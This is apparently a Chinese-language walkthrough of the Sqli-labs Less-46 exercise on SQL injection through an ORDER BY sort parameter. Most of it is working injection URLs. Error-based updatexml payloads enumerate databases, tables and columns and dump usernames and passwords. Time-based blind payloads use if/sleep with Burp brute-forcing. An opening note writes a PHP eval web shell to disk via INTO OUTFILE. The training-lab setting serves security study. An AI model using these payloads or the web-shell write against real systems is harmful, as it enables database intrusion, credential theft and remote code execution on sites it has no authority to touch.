SQL語句中,asc是指定列按升序排列,desc則 是指定列按降序排列。
select * from users order by 1 desc; 使用降序進行排列
select * from users order by1 asc;使用升序進行排列
right() select right(database(),1);
Left() select left(database(),1);
lines terminated by xxx 以xxx爲結尾:
select ‘<?php @eval($_ POST[crow]);?>’ into outfile 'C:\pbpstudy\PHPTutorilWWW.crow.pbp’ lines
terminated by 0x363636;
————————————————分割線————————————————————
打開Sqli-labs-Less-46關後可以看到提示,顯示要我們使用SORT進行注入
輸入http://www.web.com/sql/Less-46/?sort=1
發現返回結果是賬戶和名稱,是以ID值來排序的
輸入http://www.web.com/sql/Less-46/?sort=2
返回結果是以username來排序的
輸入http://www.web.com/sql/Less-46/?sort=3
返回結果是以password來排序的
總結:sort後面的參數是用來改變根據那一列來進行排列順序。
在參數後面加上desc,發現進行反向排序
http://www.web.com/sql/Less-46/?sort=3 desc
判斷注入點
http://www.web.com/sql/Less-46/?sort=3’
報錯,顯示多了一個’說明在此處是沒有進行包裹的
查看當前庫
http://www.web.com/sql/Less-46/?sort=3 union select 1,2,database()–+
報錯,說明在此處不能使用union注入
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
成功
查看所有庫
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)–+
查看所有表
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)–+
查看所有字段
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e),1)–+
查看所有賬戶和密碼
http://www.web.com/sql/Less-46/?sort=3 and updatexml(1,concat(0x7e,(select group_concat(concat_ws(’~’,username,password)) from security.users),0x7e),1)–+
判斷當前數據庫名稱長度
http://www.web.com/sql/Less-46/?sort=3 and if(length(database())=8,1,sleep(2))–+
當等於8時沒有時間延時,說明數據庫名稱長度爲8
判斷當前數據庫名稱
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select database()),1,1)=‘s’,1,sleep(2))–+
當等於s時沒有時間延時,說明首字母爲s
使用burp**出當前庫名稱
判斷表名
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘e’,1,sleep(2))–+
使用burp**
判斷字段
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)=‘u’,1,sleep(5))–+
使用burp**
判斷賬戶(username)
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select username from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+
使用burp**
判斷密碼(password)
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select password from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+
使用burp**
將username,password一起進行**
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)=‘d’,1,sleep(5))–+
使用concat_ws()函數將username,password進行分割並一起進行**
http://www.web.com/sql/Less-46/?sort=3 and if(substr((select group_concat(concat_ws(’-’,username,password)) from security.users limit 0,1),1,1)=‘d’,1,sleep(1))–+
以此類推可以得到所有數據。